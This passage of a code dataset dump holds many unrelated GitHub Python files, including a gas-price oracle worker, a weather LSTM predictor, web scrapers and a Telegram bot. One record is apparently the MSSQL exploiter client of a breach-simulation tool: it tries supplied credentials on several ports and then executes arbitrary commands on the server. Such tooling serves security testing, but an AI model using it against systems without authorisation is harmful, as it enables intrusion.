old_gas:\n try:\n old_gas = json.loads(old_gas)\n old_values = [x for x in old_gas if new_gas.get(x) is None or not new_gas.get(x, {}).get('tokenPrice')]\n for key in old_values:\n new_gas[key] = old_gas[key]\n\n except Exception as e:\n logger.error(f'Failed to save gas: {e}')\n\n logger.info('Setting gas...')\n\n await redis.set('gas', json.dumps(new_gas))\n\n\nasync def get_and_store_quotes() -> None:\n quotes_response: dict = cg.get_price(ids=CoinGeckoTokens.values_list(), vs_currencies='usd')\n\n quotes_output = [{\n 'token_name': CoinGeckoTokens(k).name,\n 'value': v['usd'],\n 'date_updated': datetime.now().isoformat(),\n } for k, v in quotes_response.items()]\n\n await redis.set('quotes', json.dumps(quotes_output))\n\n\nasync def collect_quotes_for_gas_coingecko():\n cg = CoinGeckoAPI()\n ids_q = ['ethereum', 'matic-network', 'binancecoin']\n temp_quotes = cg.get_price(ids=ids_q, vs_currencies='usd')\n quotes_for_gas_output = [{\n \"name\": str('ETH'),\n \"value\": temp_quotes['ethereum']['usd'],\n \"chain\": str('eth')\n }, {\n \"name\": str('MATIC'),\n \"value\": temp_quotes['matic-network']['usd'],\n \"chain\": str('poly')\n }, {\n \"name\": str('BNB'),\n \"value\": temp_quotes['binancecoin']['usd'],\n \"chain\": str('bsc')\n }]\n return quotes_for_gas_output\n\n\nasync def get_and_store_pools() -> None:\n\n new_pools = get_pools()\n\n old_pools = await redis.get('pools')\n\n if not old_pools:\n pools = new_pools\n\n else:\n try:\n old_pools = json.loads(old_pools)\n\n except Exception:\n pass\n for pool_type in [\"swap_pools\", \"bridge_pools\"]:\n for chain_name, old_chain_pairs in old_pools[pool_type].items():\n if pool_type == \"swap_pools\":\n key_name = 'pair_name'\n else:\n key_name = 'token_name'\n old_chain_pairs_dict = dict((item[key_name], item) for item in old_chain_pairs)\n new_chain_pairs = dict((item[key_name], item) for item in new_pools[pool_type][chain_name])\n\n not_updated = [item for name, item in old_chain_pairs_dict.items() if name not in new_chain_pairs]\n new_pools[pool_type][chain_name] += not_updated\n\n pools = new_pools\n\n await redis.set('pools', json.dumps(pools))\n\n\nasync def get_gas_scheduler() -> None:\n while True:\n await asyncio.gather(\n get_gas(),\n asyncio.sleep(env.get_gas_delay),\n )\n\n\nasync def get_quotes_scheduler() -> None:\n while True:\n await asyncio.gather(\n get_and_store_quotes(),\n asyncio.sleep(env.get_quotes_delay),\n )\n\n\nasync def get_pools_scheduler() -> None:\n while True:\n await asyncio.gather(\n get_and_store_pools(),\n asyncio.sleep(env.get_pools_delay),\n )\n\n\nasync def main():\n while True:\n await asyncio.gather(\n get_gas_scheduler(),\n get_pools_scheduler(),\n get_quotes_scheduler(),\n )\n\n\nif __name__ == \"__main__\":\n asyncio.run(main())\n","repo_name":"WindyHenry/1path_oracle_worker","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":5642,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"6377148516","text":"from io import BytesIO\nfrom urllib import request\nfrom lib.client import BaseClient\n\n\n\nclass Anime(BaseClient):\n base_url: str = 'https://animepicsx.net'\n \n async def get_rand_girl(self) -> str:\n \"\"\"Returns url to the random anime girl picture\"\"\"\n \n resp = await self.get('/random')\n text = await resp.text()\n \n ind = text.find('href=\"/random\" class=\"_random_pic\">')\n text = text[ind:ind+150]\n\n url = text[text.find(\"https://\"):text.find('\" class=\"z-dep')]\n return url\n \n ","repo_name":"solles-albys/IncBot","sub_path":"src/clients/anime.py","file_name":"anime.py","file_ext":"py","file_size_in_byte":558,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"73149247733","text":"\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tensorflow as tf\n\nfrom pathlib import Path \n\n\nfrom sklearn.preprocessing import StandardScaler\n\n\nimport keras\nfrom keras import backend as K\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout\nfrom keras.layers import LSTM\nfrom keras.optimizers import Adam\n\n\nfrom wetterdienst import Settings\nfrom wetterdienst.provider.dwd.observation import DwdObservationRequest, \\\n DwdObservationDataset, DwdObservationPeriod, DwdObservationResolution\n\n\ndef convert_to_celsius(df):\n \"\"\"\n Convert the unit of temperature \n from Kelvin to Celsius for all the columns.\n \"\"\"\n col_names = df.filter(regex='temperature').columns\n df[col_names] = df[col_names].sub(273.15)\n\n return df\n\n\ndef get_the_daily_data(start_date, end_date):\n \"\"\"\n Get the daily data from DWD and do initial cleaning.\n \"\"\"\n Settings.tidy = False\n Settings.default()\n request = DwdObservationRequest(\n parameter=[DwdObservationDataset.CLIMATE_SUMMARY],\n resolution=DwdObservationResolution.DAILY,\n start_date=start_date,\n end_date=end_date,\n ).filter_by_station_id(station_id=[433])\n df = request.values.all().df\n df = convert_to_celsius(df)\n df['date'] = pd.to_datetime(df['date'], infer_datetime_format=True)\n df.set_index('date', inplace= True)\n\n return df\n\n\ndef create_x_y_datasets(df, timestep):\n \"\"\"\n Create input and output data based on timestep.\n Split the data as train and test.\n \"\"\"\n X = []\n y = []\n\n for i in range(len(df) - (timestep)):\n X.append(df[i:i+timestep])\n y.append(df[i+timestep])\n\n X=np.array(X)\n y=np.array(y)\n\n\n return X, y\n\n\ndef insert_end(Xin,new_input, timestep):\n \"\"\"Insert the prediction into the input data.\"\"\"\n for i in range(timestep-1):\n Xin[:,i,:] = Xin[:,i+1,:]\n Xin[:,timestep-1,:] = new_input\n \n return Xin\n\n \ndef get_time_cosine(df):\n df['month'] = df.index.month\n df['day'] = df.index.day_of_year\n df['month_sin'] = np.sin(2 * np.pi * df['month']/12)\n df['month_cos'] = np.cos(2 * np.pi * df['month']/12)\n df['day_sin'] = np.sin(2 * np.pi * df['day']/365.25)\n df['day_cos'] = np.cos(2 * np.pi * df['day']/365.25)\n\n return df\n\ndef predict_future(X, scaler, model, timestep):\n X_in = X[-1:,:,:]\n prediction_test = np.empty((0,y.shape[-1]), float)\n for day in range(30):\n X_out = model.predict(X_in, batch_size=1)\n prediction_test = np.append(prediction_test, X_out, axis=0) \n X_in = insert_end(X_in, X_out[0], timestep)\n prediction_rescale = scaler.inverse_transform(prediction_test)\n temp_prediction = []\n for temp in range(len(prediction_rescale)):\n temp_prediction.append(prediction_rescale[temp, 0])\n\n return temp_prediction\n\nmodel_folder = Path('/Users/gulcinvardar/Desktop/Data_Science_Bootcamp/stationary-sriracha-student-code/projects/week_final/models') \nstart_date= \"2001-01-01\"\nend_date= \"2020-01-01\"\ndf = get_the_daily_data(start_date, end_date)\n\ndf_model = df.iloc[:len(df)-30]\ndf_holdout = df.iloc[len(df)-30:]\n\ndf_model = get_time_cosine(df_model)\n\nfeatures = ['temperature_air_mean_200', 'month_sin', 'month_cos', 'day_sin', 'day_cos']\ndf_model_feature = df_model[features]\n\n\nscaler = StandardScaler()\ndf_m = scaler.fit_transform(df_model_feature)\n\n\nstart_date_test= \"2022-03-30\"\nend_date_test= f\"2022-06-07\"\ndf_daily_test = get_the_daily_data(start_date_test, end_date_test)\ndf_model_test = get_time_cosine(df_daily_test)\ndf_test_feature = df_model_test[features]\ndf_test_feed = scaler.transform(df_test_feature)\nX, y = create_x_y_datasets(df_test_feed, 5)\nmodel = keras.models.load_model(f'{model_folder}/S_multi_years_twenty_time_LSTM_timestep_5_model.h5')\ntemp_prediction = predict_future(X, scaler, model, 5)\n\nprediction_df = pd.DataFrame({\n 'date':pd.date_range(start=end_date_test, periods=31)\n})[1:]\nprediction_df['prediction'] = temp_prediction\nprediction_df.to_csv('final_prediction_lstm.csv')\n","repo_name":"gulcinvardar/time_series_lstm_weather","sub_path":"predict_today.py","file_name":"predict_today.py","file_ext":"py","file_size_in_byte":4050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"32448324545","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nimport scrapy\nimport mmap\nimport os\nimport urlparse\nfrom scrapy.xlib.pydispatch import dispatcher\nfrom scrapy import signals\n\nto_crawl_announcement_list_file_name = 'to_crawl_announcement_list'\ncrawled_announcement_list_file_name = 'crawled_announcement_list'\nto_download_list_file_name = 'to_download_list'\ndownloaded_list_file_name = 'downloaded_list'\nbase_url = 'http://www.kinmen.gov.tw'\n\nto_crawl_announcement_list = []\nwith open(to_crawl_announcement_list_file_name) as urls:\n for url in urls:\n to_crawl_announcement_list.append(url)\ncrawled_announcement_list = []\nwith open(crawled_announcement_list_file_name) as urls:\n for url in urls:\n crawled_announcement_list.append(url)\nto_download_list = []\nwith open(to_download_list_file_name) as urls:\n for url in urls:\n to_download_list.append(url)\ndownloaded_list = []\nwith open(downloaded_list_file_name) as urls:\n for url in urls:\n downloaded_list.append(url)\n\nclass DownloadListSpider(scrapy.Spider):\n name = 'download_list_spider'\n allowed_domains = 'kinmen.gov.tw'\n start_urls = []\n with open(to_crawl_announcement_list_file_name, 'r') as urls:\n for url in urls:\n start_urls.append(url)\n\n # touch to_download_list, downloaded_list if not exist\n if not os.path.isfile(to_download_list_file_name):\n with open(to_download_list_file_name, 'a'):\n os.utime(to_download_list_file_name, None)\n if not os.path.isfile(downloaded_list_file_name):\n with open(downloaded_list_file_name, 'a'):\n os.utime(downloaded_list_file_name, None)\n\n def __init__(self):\n dispatcher.connect(self.spider_closed, signals.spider_closed)\n\n def spider_closed(self, spider):\n to_crawl_announcement_list_file = open(to_crawl_announcement_list_file_name, 'w')\n crawled_announcement_list_file = open(crawled_announcement_list_file_name, 'w')\n for url in to_crawl_announcement_list:\n to_crawl_announcement_list_file.write(url)\n for url in crawled_announcement_list:\n crawled_announcement_list_file.write(url)\n to_crawl_announcement_list_file.close()\n crawled_announcement_list_file.close()\n\n to_download_list_file = open(to_download_list_file_name, 'w')\n downloaded_list_file = open(downloaded_list_file_name, 'w')\n for url in to_download_list:\n to_download_list_file.write(url+'\\n')\n for url in downloaded_list:\n downloaded_list_file.write(url+'\\n')\n to_download_list_file.close()\n downloaded_list_file.close()\n\n def parse(self, response):\n\n # update to_crawl_announcement_list and crawled_announcement_list\n query = urlparse.urlparse(response.url).query\n params = urlparse.parse_qs(query)\n news_id = params['NewsID'][0]\n for url in to_crawl_announcement_list[:]:\n if 'NewsID='+news_id in url:\n crawled_announcement_list.append(url)\n to_crawl_announcement_list.remove(url)\n break\n\n # find download url and write to to_download_list if not present in downloaded_list\n for sel in response.xpath(u'//a[contains(text(), \"收容公告\")]/@href'):\n download_url = sel.extract()\n if download_url not in downloaded_list:\n print(download_url)\n to_download_list.append(download_url)\n","repo_name":"g0v/animal.coa","sub_path":"金門縣-jme/jinmen_animal/spiders/download_list_spider.py","file_name":"download_list_spider.py","file_ext":"py","file_size_in_byte":3459,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"21"} +{"seq_id":"41462248148","text":"from django.core.management import BaseCommand\n\nfrom PIL import Image\nimport colorgram\nimport urllib.request\nimport webcolors\nimport math\n\nclass Command(BaseCommand):\n # Show this when the user types help\n help = \"Colors Image\"\n\n def handle(self, *args, **options):\n\n # Nombre del color que deseas convertir\n color_name = 'Blue'\n\n # Obtener el valor hexadecimal del color\n hex_value = webcolors.name_to_hex(color_name)\n\n # Valores hexadecimales de los dos colores que deseas comparar\n hex_color_1 = hex_value\n\n # Descargar la imagen desde la URL\n img_file = urllib.request.urlopen(\"https://cdn.shopify.com/s/files/1/0755/5442/3062/files/wsh05-blue_main_8a6d4932-4ac8-40b3-981a-62932bc8e11b.jpg?v=1683665626\")\n\n # Cargar la imagen en PIL\n img = Image.open(img_file)\n\n # Extraer los colores de la imagen con colorgram.py\n colors = colorgram.extract(img, 10)\n\n # Ordenar la lista por porcentaje (de mayor a menor)\n colors_sorted = sorted(colors, key=lambda c: c.proportion, reverse=True)\n\n for color in colors_sorted:\n hex_color_2 = webcolors.rgb_to_hex((color.rgb.r, color.rgb.g, color.rgb.b))\n\n # Convertir los valores hexadecimales a valores RGB\n rgb_color_1 = tuple(int(hex_color_1[i:i + 2], 16) for i in (1, 3, 5))\n rgb_color_2 = tuple(int(hex_color_2[i:i + 2], 16) for i in (1, 3, 5))\n\n # Calcular la distancia Euclidiana entre los colores\n distance = math.sqrt(sum([(a - b) ** 2 for a, b in zip(rgb_color_1, rgb_color_2)]))\n\n # Definir un umbral de parentesco (por ejemplo, 50)\n threshold = 200 #ir apliando el umbral\n\n # Verificar si los colores son parecidos\n if distance < threshold:\n print('Los colores', hex_color_1, 'y', hex_color_2, 'son parecidos.')\n\n","repo_name":"iamjessroman/sample_backend","sub_path":"backend/data_product/management/commands/load_colors_data.py","file_name":"load_colors_data.py","file_ext":"py","file_size_in_byte":1903,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"40541870022","text":"import logging\nfrom ipaddress import IPv4Address\nfrom time import sleep\nfrom typing import Optional, Set\n\nimport pymssql\nfrom monkeytypes import Credentials\n\nfrom common.types import NetworkPort\n\nlogger = logging.getLogger(__name__)\nQUERY_BUFFER_TIME = 0.5\nCONNECTION_CHECK_QUERY = \"SELECT 1\"\n\n\nclass MSSQLClient:\n def __init__(self, server_timeout: float, query_buffer_time: float = QUERY_BUFFER_TIME):\n self._cursor: Optional[pymssql.Cursor] = None\n self._server_timeout = server_timeout\n self._query_buffer_time = query_buffer_time\n\n def login(self, ip: IPv4Address, ports: Set[NetworkPort], credentials: Credentials):\n \"\"\"\n Login to MSSQL server using the given credentials\n\n :param ip: IP address of the MSSQL server\n :param ports: Set of ports to try to login with\n :param credentials: Credentials to use for login\n :raises RuntimeError: If login fails\n \"\"\"\n for port in ports:\n if self._login(ip, port, credentials):\n return\n\n raise RuntimeError(\"Failed to authenticate with the MSSQL server with provided credentials\")\n\n def _login(self, ip: IPv4Address, port: NetworkPort, credentials: Credentials) -> bool:\n try:\n connection = pymssql.connect(\n str(ip),\n credentials.identity.username,\n credentials.secret.password.get_secret_value(),\n port=port,\n login_timeout=self._server_timeout,\n timeout=self._server_timeout,\n )\n self._cursor = connection.cursor()\n self._cursor.execute(CONNECTION_CHECK_QUERY)\n self._cursor.fetchall()\n return True\n except pymssql.OperationalError:\n logger.debug(\"MSSQL connection is not active\")\n return False\n\n def run_command(self, command: str):\n \"\"\"\n Run a command on the MSSQL server\n\n :param command: The command to run\n \"\"\"\n if self._cursor is None:\n raise RuntimeError(\"You are not logged in. Please log in before running commands.\")\n try:\n self._cursor.execute(command)\n sleep(self._query_buffer_time)\n except pymssql.Error as err:\n raise RuntimeError(\"Failed to execute the command\") from err\n","repo_name":"guardicore/monkey","sub_path":"monkey/agent_plugins/exploiters/mssql/src/mssql_client.py","file_name":"mssql_client.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":6367,"dataset":"github-code","pt":"21"} +{"seq_id":"15164765193","text":"import firebase_admin\r\nfrom firebase_admin import credentials\r\nfrom firebase_admin import db\r\nfrom util import DATABASE_URL_FIREBASE\r\n\r\ncred = credentials.Certificate('firebase.json')\r\nfirebase_admin.initialize_app(cred, {\r\n 'databaseURL': DATABASE_URL_FIREBASE\r\n})\r\n\r\n\r\nclass Config:\r\n ref = db.reference(\"/usuarios\")\r\n\r\n def adicionar_contato(self, dados, id_user):\r\n try:\r\n self.ref.child(str(id_user)).update(dados)\r\n return True\r\n except:\r\n return False\r\n\r\n def atualizar_usuario(self, dados, id_user):\r\n try:\r\n self.ref.child(str(id_user)).update(dados)\r\n return True\r\n except:\r\n return False\r\n\r\n def pegar_todos_usuarios(self):\r\n try:\r\n item = dict(self.ref.get())\r\n if len(item) > 0:\r\n return item\r\n else:\r\n return False\r\n except:\r\n return False\r\n\r\n def pegar_usuario(self, id_user):\r\n try:\r\n item = dict(self.ref.order_by_key().equal_to(str(id_user)).get())\r\n if len(item) > 0:\r\n return item[str(id_user)]\r\n else:\r\n return False\r\n except:\r\n return False\r\n\r\n def criar_usuario(self, id_user):\r\n try:\r\n dados = {\"tradicional\": 1, \"vegano\": 0, \"cafe\": 0, \"almoco\": 1, \"jantar\": 1, \"telefone\": 0}\r\n return self.atualizar_usuario(dados, str(id_user))\r\n except:\r\n return False\r\n","repo_name":"JonasCardoso/Bandeco-Unicamp","sub_path":"src/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":1519,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"862002741","text":"import gzip\nimport logging\n\nlogging.basicConfig(format='%(asctime)s : %(levelname)s : %(message)s', level=logging.INFO)\n\ndef parse(filename):\n f = gzip.open(filename, 'r')\n entry = {}\n for l in f:\n l = l.strip()\n colonPos = l.find(':')\n if colonPos == -1:\n yield entry\n entry = {}\n continue\n eName = l[:colonPos]\n rest = l[colonPos+2:]\n entry[eName] = rest\n yield entry\n\n\ndef topics(raw_data, out_folder, name, id=False):\n fname = '%s_topics_in_id.txt' % name if id else '%s_topics_in.txt' % name\n fout = open(out_folder+fname, 'wa')\n\n logging.info('Parsing raw data and processing it')\n\n for review in parse(raw_data):\n if review:\n if id:\n line = review['review/userId'] + \" == \" + review['review/text'] + \"\\n\"\n else:\n line = review['review/text'] + \"\\n\"\n fout.write(line)\n fout.close()\n\n\nif __name__ == '__main__':\n topics('data/Electronics.txt.gz', 'data/', 'electronics')\n\n\n","repo_name":"fayimora/amazon-reviews-analysis","sub_path":"process_reviews.py","file_name":"process_reviews.py","file_ext":"py","file_size_in_byte":1053,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"70437580853","text":"\"\"\"empty message\n\nRevision ID: 841f9420543d\nRevises: f24fa64b1859\nCreate Date: 2016-12-15 14:51:42.337592\n\n\"\"\"\n\n# revision identifiers, used by Alembic.\nrevision = '841f9420543d'\ndown_revision = 'f24fa64b1859'\n\nfrom alembic import op\nimport sqlalchemy as sa\n\n\ndef upgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.add_column('alarm_record', sa.Column('call_group', sa.String(length=32), nullable=True))\n op.create_index(op.f('ix_alarm_record_call_group'), 'alarm_record', ['call_group'], unique=False)\n ### end Alembic commands ###\n\n\ndef downgrade():\n ### commands auto generated by Alembic - please adjust! ###\n op.drop_index(op.f('ix_alarm_record_call_group'), table_name='alarm_record')\n op.drop_column('alarm_record', 'call_group')\n ### end Alembic commands ###\n","repo_name":"KoiosChen/OLT-REGISTER","sub_path":"migrations/versions/841f9420543d_.py","file_name":"841f9420543d_.py","file_ext":"py","file_size_in_byte":816,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"37651540348","text":"\nimport pika\nfrom pika.exchange_type import ExchangeType\n\ndef on_message1_received(ch,mehod, properties, body):\n print(\"Message from 1st queue: %r\" %body)\n\ndef on_message2_received(ch,mehod, properties, body):\n print(\"Message from 2nd queue: %r\" %body)\nconnection_parameters = pika.ConnectionParameters(\"localhost\")\n \nconnection = pika.BlockingConnection(connection_parameters)\n\nchannel = connection.channel()\n\nqueue1 = channel.queue_declare(queue=\"\", exclusive=True)\n\nqueue2 = channel.queue_declare(queue=\"\", exclusive=True)\n\nchannel.queue_bind(\n exchange=\"hashing_exchange\",\n queue=queue1.method.queue,\n routing_key=\"4\")\n\nchannel.basic_consume(queue=queue1.method.queue,auto_ack=True,on_message_callback=on_message1_received)\n\nchannel.queue_bind(\n exchange=\"hashing_exchange\",\n queue=queue2.method.queue,\n routing_key=\"1\")\n\nchannel.basic_consume(queue=queue2.method.queue,auto_ack=True,on_message_callback=on_message2_received)\n\nprint(\"Start Consuming...\")\nchannel.start_consuming()","repo_name":"muddasar-de/RabbitMQ","sub_path":"Consistent-Hashing-Exchange/consumer.py","file_name":"consumer.py","file_ext":"py","file_size_in_byte":1010,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12453503432","text":"from django import template\n\nregister = template.Library()\n\n@register.filter\ndef field_type(bound_field):\n return bound_field.field.widget.__class__.__name__\n\n\n@register.filter\ndef input_class(bound_field):\n css_class = ''\n if bound_field.form.is_bound:\n if bound_field.errors:\n css_class = 'is-invalid'\n elif field_type(bound_field) != 'PasswordInput':\n css_class = 'is-valid'\n\n return 'form-control {}'.format(css_class)\n\n\n@register.filter(name='replace_tokens', is_safe=True)\ndef replace_tokens(value):\n \"\"\"Replace tokens\"\"\"\n if value is not None:\n value = value.replace('{last year}', '2020')\n value = value.replace('{current year}', '2021')\n\n return value","repo_name":"cburke8/bi-portal","sub_path":"mainsite/biportal/templatetags/form_tags.py","file_name":"form_tags.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"31551295449","text":"'''\n Realizar un programa que le solicite a 3 usuarios ingresar por teclado información personal,\n la información de cada usuario se debe guardar en una estructura de colección inmutable, \n luego mostrar por pantalla la información de los usuarios agrupada en una estructura de colección mutable.\n \n La información para solicitar es:\n a. Nombres y apellidos.\n b. Ocupación.\n c. Edad.\n d. Ciudad.\n e. Número de contacto.\n f. Correo electrónico.\n'''\n\nusers = []\nprint(\"---------- 1st User ----------\")\nnameUsr1 = input(\"Name: \")\noccupationUsr1 = input(\"Occupation: \")\nageUsr1 = int(input(\"Age: \"))\ncityUsr1 = input(\"City: \")\nphoneUsr1 = int(input(\"Phone number: \"))\nemailUsr1 = input(\"Email: \")\n\ninfoUsr1 = (nameUsr1, occupationUsr1, ageUsr1, cityUsr1, phoneUsr1, emailUsr1)\nusers.append(infoUsr1)\n\nprint(\"\\n---------- 2nd User ----------\")\nnameUsr2 = input(\"Name: \")\noccupationUsr2 = input(\"Occupation: \")\nageUsr2 = int(input(\"Age: \"))\ncityUsr2 = input(\"City: \")\nphoneUsr2 = int(input(\"Phone number: \"))\nemailUsr2 = input(\"Email: \")\n\ninfoUsr2 = (nameUsr2, occupationUsr2, ageUsr2, cityUsr2, phoneUsr2, emailUsr2)\nusers.append(infoUsr2)\n\nprint(\"\\n---------- 3rd User ----------\")\nnameUsr3 = input(\"Name: \")\noccupationUsr3 = input(\"Occupation: \")\nageUsr3 = int(input(\"Age: \"))\ncityUsr3 = input(\"City: \")\nphoneUsr3 = int(input(\"Phone number: \"))\nemailUsr3 = input(\"Email: \")\n\ninfoUsr3 = (nameUsr3, occupationUsr3, ageUsr3, cityUsr3, phoneUsr3, emailUsr3)\nusers.append(infoUsr3)\n\nprint(\"\\n\", users)","repo_name":"juancr15/Top-Gun-Lab-2022","sub_path":"python-fundamentals/desafios/iniciando_viaje/punto_2.py","file_name":"punto_2.py","file_ext":"py","file_size_in_byte":1559,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"9768140997","text":"#!/usr/bin/env python\nfrom Bio import SeqIO\nimport argparse\n\ndef count(infile, infmt):\n \n seqx = SeqIO.parse(infile, infmt)\n print(\"{} sequences found!\\n\".format(len(list(seqx))))\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser(description=\"show number of sequences\")\n parser.add_argument('infile', type=str)\n parser.add_argument('-i','--in-format', dest='infmt', action='store', default='fasta', type=str)\n args = parser.parse_args()\n count(args.infile, args.infmt)\n\n","repo_name":"PiscatorX/misc-scripts","sub_path":"xcount.py","file_name":"xcount.py","file_ext":"py","file_size_in_byte":507,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"39218067312","text":"#encoding=utf-8\nfrom django import forms\n\nfrom crispy_forms.helper import FormHelper\nfrom crispy_forms.layout import Layout, Submit, Field\nfrom crispy_forms.bootstrap import FormActions\n\nfrom .models import Comment\n\n\nclass CommentForm(forms.ModelForm):\n class Meta:\n model = Comment\n fields = ('name', 'email', 'body')\n\n # widgets = {\n # 'name':forms.TextInput(attrs={\n # 'class': 'form-control',\n # 'placeholder': u'请输入昵称',\n # 'aria-describedby': 'sizing-addon1',\n # }),\n # 'email':forms.TextInput(attrs={\n # 'class': 'form-control',\n # 'placeholder': u'请输入邮箱',\n # 'aria-describedby': 'sizing-addon1',\n # }),\n # 'body':forms.Textarea(attrs={\n # 'placeholder': u'我来说两句',\n # }),\n # }\n def __init__(self, *args, **kwargs):\n super(CommentForm, self).__init__(*args, **kwargs)\n\n self.helper = FormHelper()\n self.helper.form_class = 'form-horizontal'\n self.helper.form_method = 'POST'\n self.helper.layout = Layout(\n Field(\"name\", css_class='input-sm'),\n Field(\"email\", css_class='form-control input-sm'),\n Field(\"body\", rows=\"3\", cols=\"10\", css_class=\"input-xlarge\"),\n FormActions(\n Submit('save', '提交评论', css_class='btn btn-default'),\n )\n )\n\n","repo_name":"kaiaiz/django_mytweets","sub_path":"application/blog/forms.py","file_name":"forms.py","file_ext":"py","file_size_in_byte":1432,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"30156258933","text":"import logging\n\nfrom telegram import ForceReply, Update\nfrom telegram.ext import Application, CommandHandler, ContextTypes, MessageHandler, filters\nimport audiofile\nfrom keys import TELEGRAM_KEY\nfrom archdaily_summarizer import response\nfrom archdaily_summarizer import text2speech\n\nimport subprocess\nimport codecs\nimport os\n\n# Enable logging\nlogging.basicConfig(\n format=\"%(asctime)s - %(name)s - %(levelname)s - %(message)s\", level=logging.INFO\n)\n# set higher logging level for httpx to avoid all GET and POST requests being logged\nlogging.getLogger(\"httpx\").setLevel(logging.WARNING)\n\nlogger = logging.getLogger(__name__)\n\n\ndef partition_string(message):\n max_length = 4096\n lines = message.split(\". \")\n partitions = []\n current_partition = \"\"\n\n for line in lines:\n if len(current_partition + line) <= max_length:\n current_partition += line + \". \"\n else:\n partitions.append(current_partition)\n current_partition = line + \". \"\n\n if current_partition:\n partitions.append(current_partition)\n\n return partitions\n\n\n# Define a few command handlers. These usually take the two arguments update and\n# context.\nasync def start(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n \"\"\"Send a message when the command /start is issued.\"\"\"\n user = update.effective_user\n await update.message.reply_html(\n rf\"Hi {user.mention_html()}!\",\n reply_markup=ForceReply(selective=True),\n )\n\n\nasync def help_command(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n \"\"\"Send a message when the command /help is issued.\"\"\"\n await update.message.reply_text(\"Help!\")\n\n\nasync def echo(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n \"\"\"Echo the user message.\"\"\"\n await update.message.reply_text(update.message.text)\n\nasync def summarize(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n chat_id = update.effective_message.chat_id\n \"\"\"Get url and summarize the content\"\"\"\n try:\n url = str(context.args[0])\n # status = subprocess.check_output(f\"python archdaily_summarizer.py --url {url}\")\n # status = codecs.decode(status, 'utf-8')\n status = response(url)\n # await update.effective_message.reply_text(status)\n if len(status) > 4096:\n partitions = partition_string(status)\n else:\n partitions =[status]\n print(len(partitions))\n for partition in partitions:\n await context.bot.send_message(chat_id, text=partition)\n except:\n await update.effective_message.reply_text(\"Oops, please try again. Usage: /summarize URL\")\n\nasync def audify(update: Update, context: ContextTypes.DEFAULT_TYPE) -> None:\n chat_id = update.effective_message.chat_id\n \"\"\"Get url and summarize+audify the content\"\"\"\n try:\n url = str(context.args[0])\n # status = subprocess.check_output(f\"python archdaily_summarizer.py --url {url} --audify 1 --chatid {chat_id}\")\n # status = codecs.decode(status, 'utf-8')\n text = response(url)\n status = text2speech(text, chat_id)\n signal, sampling_rate = audiofile.read(status, always_2d=True)\n duration = int(signal.shape[1] / sampling_rate)\n await context.bot.send_audio(chat_id=chat_id,\n audio=status,\n duration=duration,\n performer= 'Bot',\n title='Summary',\n caption=f\"Audio duration: {duration} seconds\")\n os.remove(status)\n except:\n await update.effective_message.reply_text(\"Oops, please try again. Usage: /audify URL\")\n\ndef main() -> None:\n \"\"\"Start the bot.\"\"\"\n # Create the Application and pass it your bot's token.\n application = Application.builder().token(TELEGRAM_KEY).build()\n\n # on different commands - answer in Telegram\n application.add_handler(CommandHandler(\"start\", start))\n application.add_handler(CommandHandler(\"help\", help_command))\n application.add_handler(CommandHandler(\"summarize\", summarize, block=False))\n application.add_handler(CommandHandler(\"audify\", audify, block=False))\n\n # on non command i.e message - echo the message on Telegram\n application.add_handler(MessageHandler(filters.TEXT & ~filters.COMMAND, echo))\n\n # Run the bot until the user presses Ctrl-C\n application.run_polling(allowed_updates=Update.ALL_TYPES)\n\n\nif __name__ == \"__main__\":\n main()","repo_name":"johanesmikhael/archdaily_helper_bot","sub_path":"archdaily_bot.py","file_name":"archdaily_bot.py","file_ext":"py","file_size_in_byte":4547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4297073737","text":"#!/usr/bin/env python3\n\nimport csv, os, re\n\n# os.chdir(r\"C:\\Users\\Darren\\Desktop\")\n# Get the user's desktop.\ndesktop = os.path.expanduser(\"~\") + r\"\\Desktop\"\nos.chdir(desktop)\n\n# Regex for matching the file name\n#fileSearchRegex = re.compile(\".*moneybook.*\\\\.csv\")\nfileSearchRegex = re.compile(\".*MoneyOK.*\\\\.csv\")\n\n# This function returns a list of 2 items, an SP moneybook & BK moneybook.\ndef find_csv_files():\n fileList = []\n for subdir, dirs, files in os.walk(\".\"):\n if subdir == \".\":\n for file in files:\n if file.endswith(\".csv\") and fileSearchRegex.search(file) is not None:\n fileList.append(file)\n #print(fileList)\n if len(fileList) is not 2: # If there isn't exactly two files, return None\n return\n return fileList\n\ndef format_expenses():\n current_month = input(\"Input the year and month in the format YYYY-MM: \")\n fileList = find_csv_files()\n if fileList is None:\n 